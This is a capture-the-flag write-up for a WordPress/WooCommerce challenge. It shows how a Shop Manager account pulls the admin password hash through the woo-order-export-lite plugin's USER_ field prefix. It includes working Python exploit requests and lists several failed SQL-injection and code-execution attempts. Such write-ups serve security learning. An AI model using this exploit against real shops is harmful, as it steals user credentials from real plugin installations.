В отпуске (On Vacation)
В отпуске (On Vacation)
Platform: bug-makers | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-05-25 | Status: Solved Techniques: user_field_prefix_abuse, wp_user_get_sensitive_property, order_export_field_injection, frontend_mode_settings_override
Summary
Task: WordPress + WooCommerce shop with Shop Manager credentials; extract admin password hash. Solution: Abused woo-order-export-lite plugin's USER_ field prefix to export user_pass column from wp_users via WP_User::get(), which returns sensitive database columns without filtering.
В отпуске (On Vacation) — Bug Makers CTF
Description
Владелец нашего магазина уехал в отпуск, без связи, без ничего..- А надо срочно отредактировать визуал сайта для новой акции, мы отправили ему письмо голубиной почтой, в ответ получили, что пароли и никаких доступов он не отправит! Мол сами найдите подход, вы же всё таки творческие люди. Мы надеемся на вашу помощь — помогите получить хэш пароля от учетной записи admin.
Формат флага BugCTF{hash}
Сайт: http://5.35.87.181/ Доступ менеджера: tester / tester
Примечание: БД чистится каждые 30 минут.
English summary: A WooCommerce shop ("DeathShop") owner is on vacation with no connectivity. We're given Shop Manager credentials (tester/tester) and need to extract the admin user's password hash. The flag format is BugCTF{hash}.
Analysis
Target Stack
- WordPress 7.0 + WooCommerce 10.8.0
- Server: nginx/1.24.0 (Ubuntu)
- HPOS (High-Performance Order Storage) enabled
- Admin user: id=1, username=admin, email=admin@5.35.87.181.nip.io
Installed Plugins (relevant)
- woo-order-export-lite 3.4.0 (Advanced Order Export for WooCommerce) — the vulnerable plugin
- woo-cart-abandonment-recovery 2.1.1
- ti-woocommerce-wishlist 2.11.1
- elementor 4.1.0
- woocommerce-pdf-invoices-packing-slips 5.12.2
- cart-rest-api-for-woocommerce (CoCart) 4.8.4
- jetpack, wordfence, updraftplus, wpforms-lite, yoast, etc.
Shop Manager Capabilities
The tester user has the Shop Manager role with capabilities including:
manage_woocommerce,list_users,edit_theme_optionsexport,import,view_woocommerce_reports
The view_woocommerce_reports capability is critical — it grants access to the woo-order-export-lite plugin's admin interface.
The Vulnerability: USER_ Field Prefix in woo-order-export-lite
In the plugin's source code at classes/core/class-wc-order-export-order-fields.php, lines 204-206:
php read-only • copy allowedif ( substr( $field, 0, 5 ) == "USER_" ) { //user field $key = substr( $field, 5 ); $row[$field] = $this->user ? $this->user->get( $key ) : ''; }
The USER_ prefix is designed for exporting user metadata fields from wp_usermeta (e.g., USER_billing_first_name). However, WP_User::get() internally calls __get() which returns properties from the underlying WP_User object — including core wp_users table columns:
user_loginuser_pass← the password hashuser_emailuser_nicenameuser_registereddisplay_name
There is no filtering or blocklist preventing access to user_pass. Any user with access to the export plugin can request USER_user_pass as an export field and receive the bcrypt hash of any user who has placed an order.
Frontend Mode Settings Override
The plugin's AJAX endpoint (action=order_exporter) supports a mode=frontend parameter that accepts export settings as a JSON string in the settings POST parameter. This allows passing arbitrary order_fields configurations without needing to save them through the admin UI first.
Solution
Step 1: Login and Get Nonce
Login as the Shop Manager and retrieve the woe_nonce from the order export admin page:
python read-only • copy allowedimport requests, re, json TARGET = "http://5.35.87.181" s = requests.Session() # Login as Shop Manager s.post(f'{TARGET}/wp-login.php', data={ 'log': 'tester', 'pwd': 'tester', 'wp-submit': 'Log In', 'redirect_to': f'{TARGET}/wp-admin/', 'testcookie': '1' }, allow_redirects=True) # Get woe_nonce from the export page r = s.get(f'{TARGET}/wp-admin/admin.php?page=wc-order-export') nonce = re.search(r'"woe_nonce":"([^"]+)"', r.text).group(1) print(f"[+] woe_nonce: {nonce}")
Step 2: Export with USER_user_pass Field
Send a preview request with custom order_fields that include USER_user_pass:
python read-only • copy allowedsettings = { "format": "CSV", "sort": "order_id", "sort_direction": "DESC", "statuses": [], "order_custom_fields": [], "user_names": ["1"], # Filter to admin user (ID=1) "skip_empty_file": False, "summary_report_by_products": 0, "custom_php": 0, "custom_php_code": "", "order_fields": [ {"key": "order_id", "label": "Order", "checked": 1, "order": 0, "colname": "Order", "segment": "orders", "format": ""}, {"key": "USER_user_pass", "label": "Hash", "checked": 1, "order": 1, "colname": "Hash", "segment": "orders", "format": ""}, {"key": "USER_user_login", "label": "Login", "checked": 1, "order": 2, "colname": "Login", "segment": "orders", "format": ""}, {"key": "USER_user_email", "label": "Email", "checked": 1, "order": 3, "colname": "Email", "segment": "orders", "format": ""}, ], "order_product_fields": [], "order_coupon_fields": [], } r2 = s.post(f'{TARGET}/wp-admin/admin-ajax.php', data={ "action": "order_exporter", "method": "preview", "mode": "frontend", "tab": "export", "woe_nonce": nonce, "limit": "5", "settings": json.dumps(settings) }) d = r2.json() print(d['html'])
Step 3: Extract the Hash
The preview HTML response contained the admin's password hash in the table:
html read-only • copy allowed<tr> <td>65</td> <td>REDACTED</td> <td>admin</td> <td>admin@5.35.87.181.nip.io</td> </tr>
The hash REDACTED is a WordPress bcrypt hash (the $wp$ prefix is WordPress's wrapper around the standard $2y$ bcrypt format).
Failed Approaches
-
TI WooCommerce Wishlist SQLi (CVE-2024-9156/CVE-2024-43917): The
orderparameter in the REST APIget_productsendpoint was patched in version 2.11.1 — it validates against an ASC/DESC whitelist. -
woo-order-export-lite sort parameter SQLi: The
sortfield is directly interpolated into aLEFT JOIN ONclause without escaping (meta_key='{$sort_field}'), but all error/timing oracles were suppressed by WordPress error handling. Tested error-based (extractvalue, updatexml), UNION-based, time-based (SLEEP), and boolean-based — none produced observable differences. -
woo-order-export-lite custom_php_code eval: The plugin supports arbitrary PHP code execution in exports, but this is gated by the
edit_themescapability which is admin-only. Shop Manager doesn't have this. -
order_custom_fields / user_custom_fields SQLi: Values are escaped by
addslashes()inparse_complex_pairs(), and thesql_subset()function wraps values in quotes. While injection was theoretically possible through the value part (sql_subset doesn't use parameterized queries), WordPress's error suppression prevented any observable oracle. -
WooCommerce API key creation for admin: Permission denied — can only create API keys for own user.
-
WordPress Importer XXE: WordPress uses a safe XML parser that disables external entities.
-
PDF Invoices footer PHP injection: PHP tags stripped by
wp_ksessanitization. -
WP REST API / XML-RPC user editing: Permission denied for editing admin user properties.